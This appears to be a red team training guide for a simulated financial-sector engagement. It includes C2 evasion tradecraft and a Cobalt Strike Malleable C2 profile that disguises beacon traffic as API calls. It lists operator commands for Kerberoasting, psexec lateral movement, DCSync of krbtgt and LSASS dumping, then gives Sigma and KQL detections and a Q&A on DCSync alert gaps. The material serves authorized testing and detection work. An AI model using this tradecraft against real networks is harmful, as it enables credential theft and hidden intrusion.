Red Team Operations
A red team engagement simulates a real threat actor to test the organization's detection, response, and resilience capabilities. Unlike a penetration test (which tests what can be compromised), a red team tests whether the blue team can detect and respond. The engagement produces a detection report as its primary deliverable: which actions were taken, which were detected, which gaps exist. From the detection engineer's perspective, red team findings drive rule creation and coverage improvements.
You are scoping a 2-week red team engagement simulating a sophisticated threat actor targeting a financial services organization. The assumed breach scenario: you start with a foothold via phishing on a workstation. The crown jewels are SWIFT transaction records on an air-gapped-ish server accessible only via a jump host. Scope includes: initial access, C2 establishment, credential theft, lateral movement to jump host, and exfil simulation. No ransomware. Full blue team visibility (purple team debrief at end).
Operation Planning
OPSEC and Tradecraft
| OPSEC principle | Implementation | Why it matters |
|---|---|---|
| Infrastructure separation | Separate C2 per team member; compromised redirector doesn't expose other ops | Single takedown doesn't burn full op |
| Categorized domains | Register C2 domains that belong to a plausible category (tech, CDN, logistics) | Domain category filtering doesn't block them |
| Staging separation | Initial access payload ≠ C2 infrastructure; staged loader fetches beacon | Burned initial access doesn't expose C2 |
| Long sleep intervals | 60-300 second beacon sleep outside business hours; shorter during working hours | Beaconing looks like normal polling |
| Living off the land | Use LOLBins (certutil, rundll32, wmic) instead of custom binaries | Binary signatures don't fire; harder to attribute |
| No off-scope pivots | Before touching a new host, verify it's in scope | Prevents unintended customer/third-party impact |
Cobalt Strike Operational Usage
// Cobalt Strike Malleable C2 profile — minimize beacon fingerprint:
set sleeptime "60000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/api/v1/telemetry";
client {
header "Accept" "application/json";
header "Cache-Control" "no-cache";
metadata {
base64url;
prepend "token=";
header "Authorization";
}
}
server {
header "Content-Type" "application/json";
output {
base64url;
prepend "{\"data\":\"";
append "\"}";
print;
}
}
}
http-post {
set uri "/api/v1/status";
client {
header "Content-Type" "application/json";
id {
base64url;
prepend "{\"id\":\"";
append "\"";
}
output {
base64url;
append "}";
print;
}
}
}
// Cobalt Strike commands used in engagement:
// shell whoami /all → local priv check
// execute-assembly SharpHound.exe -c All → BloodHound collection
// execute-assembly Rubeus.exe kerberoast → Kerberoasting (no disk write)
// jump psexec64 TARGET beacon.exe → lateral movement
// dcsync corp.local DOMAIN\krbtgt → DCSync (DA only)
Atomic Red Team for Detection Testing
# Atomic Red Team: small, self-contained test cases per ATT&CK technique
# Each "atomic test" executes ONE technique behavior and cleans up after itself
# Used for: verifying detection rules fire, not full engagement simulation
# Install:
# Install-Module -Name invoke-atomicredteam
# Import-Module invoke-atomicredteam
# List available tests for a technique:
Invoke-AtomicTest T1003.001 -ShowDetailsBrief
# Execute specific test (LSASS dump via comsvcs.dll):
Invoke-AtomicTest T1003.001 -TestNumbers 1
# Cleanup after test:
Invoke-AtomicTest T1003.001 -TestNumbers 1 -Cleanup
# Execute and auto-cleanup in one step:
Invoke-AtomicTest T1003.001 -TestNumbers 1 -GetPrereqs -AutoCleanup
# Example: test Kerberoasting detection
Invoke-AtomicTest T1558.003 -TestNumbers 1
# After running: check SIEM/MDE to verify detection fired
# If detection DID NOT fire: rule is broken or telemetry source missing
# If detection fired: record true positive, validate alert content
# Run all TA0006 (Credential Access) tests in sequence:
$ta0006 = @("T1003.001","T1003.002","T1003.003","T1558.003","T1558.004","T1110")
foreach ($t in $ta0006) {
Write-Host "Testing $t..."
Invoke-AtomicTest $t -AutoCleanup
Start-Sleep -Seconds 30 # wait for SIEM ingestion
}
Purple Team Exercise Structure
# Purple team = red + blue working together (transparent to both)
# Goal: maximize detection coverage, not test whether blue team catches red
# Each action is pre-announced to blue team → blue confirms it detected or did not
# Runbook format for each technique:
# 1. Red team executes T1003.001 (LSASS dump) on host A at T+00:00
# 2. Blue team checks at T+01:00: did alert fire?
# 3. If YES: record detection, move to next technique
# 4. If NO: red team shows exactly what was executed (command line, process, network)
# Blue team investigates telemetry gap: is it a rule gap or a data gap?
# 5. If data present but rule missed: fix rule
# 6. If data absent: fix data source (enable Sysmon EID, EDR setting, etc.)
# 7. Re-execute technique after fix: confirm detection now fires
# Coverage tracking spreadsheet columns:
# Technique | Sub-technique | Test executed | Detection fired (Y/N) | Rule name | Gap type | Remediation
Detection Engineering
title: Red Team Detection — Cobalt Strike Default Beacon Artifact
logsource:
product: windows
service: sysmon
detection:
named_pipe:
EventID: 17 # PipeCreated
PipeName|contains:
- 'MSSE-' # Cobalt Strike default SMB beacon pipe
- 'postex_' # post-exploitation pipe naming
- 'msagent_'
cs_artifact:
EventID: 1
Image|endswith: '\artifact.exe'
CommandLine: ''
condition: named_pipe or cs_artifact
level: critical
tags: [attack.execution, T1059, attack.tool.cobaltstrike]
-- MDE KQL: execute-assembly (CLR loaded into unusual process)
DeviceImageLoadEvents
| where FileName in~ ("clr.dll","clrjit.dll","mscoree.dll")
| where InitiatingProcessFileName !in~ (
"powershell.exe","pwsh.exe","dotnet.exe","msbuild.exe",
"csc.exe","vbc.exe","installutil.exe","notepad.exe"
)
| project Timestamp, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, FileName
Q&A
A red team engagement produces a finding: "DCSync attack was performed successfully and no alert fired." The blue team argues that their DCSync Sigma rule is deployed. What are the three most common reasons a deployed Sigma rule can fail to produce an alert, and how would you investigate which one explains this gap?
The three most common failure modes for a deployed rule that produces no alert despite the attack executing are: (1) data not reaching the SIEM, (2) the rule logic not matching the actual event structure, and (3) the rule being suppressed or not enabled in the deployment pipeline.
The DCSync Sigma rule targets Windows Security Event ID 4662 on the Domain Controller with specific object type GUIDs for DS-Replication-Get-Changes attributes. Investigation step 1: verify that EID 4662 events from the DC exist in the SIEM at all — run a raw query for EventID=4662 AND host=DC01 with no additional filters during the time window of the test. If no events appear, the data source is broken: either the DC's "Directory Service Access" audit category is not enabled in Group Policy, or the event forwarding configuration (Windows Event Forwarding or the SIEM agent) is not collecting from the DC's Security log. This is the most common failure mode for DCSync detection — many environments have Security log forwarding configured but not the detailed DS Access audit subcategory.
Investigation step 2: if EID 4662 events exist, check whether any match the rule's specific ObjectType GUID (%{19195a5b-6da0-11d0-afd3-00c04fd930c9} for domainDNS) and Property GUIDs. Examine the raw event fields: are the GUID values present? Are they in the exact format the rule expects? A common issue is that Sigma rule field names are SIEM-platform-specific — the Sigma rule field Properties may map differently in Sentinel, Splunk, and Elastic. The Sigma converter may have generated incorrect field mappings for the deployment target.
Investigation step 3: if the rule logic would match the events, check whether the rule is actually active in production. Look in the SIEM's rule management console: is it enabled? Has it been suppressed due to high volume? Some SIEM deployments have automatic rule suppression that triggers when a rule fires more than N times per hour — a misconfigured threshold could silence it. Additionally, some deployment pipelines (Sigma-to-Splunk, Sigma-to-Sentinel) have a two-step deploy: the rule is imported but left in a "test" or "disabled" state pending review. Verify the rule's status in the production deployment, not just in the rule repository.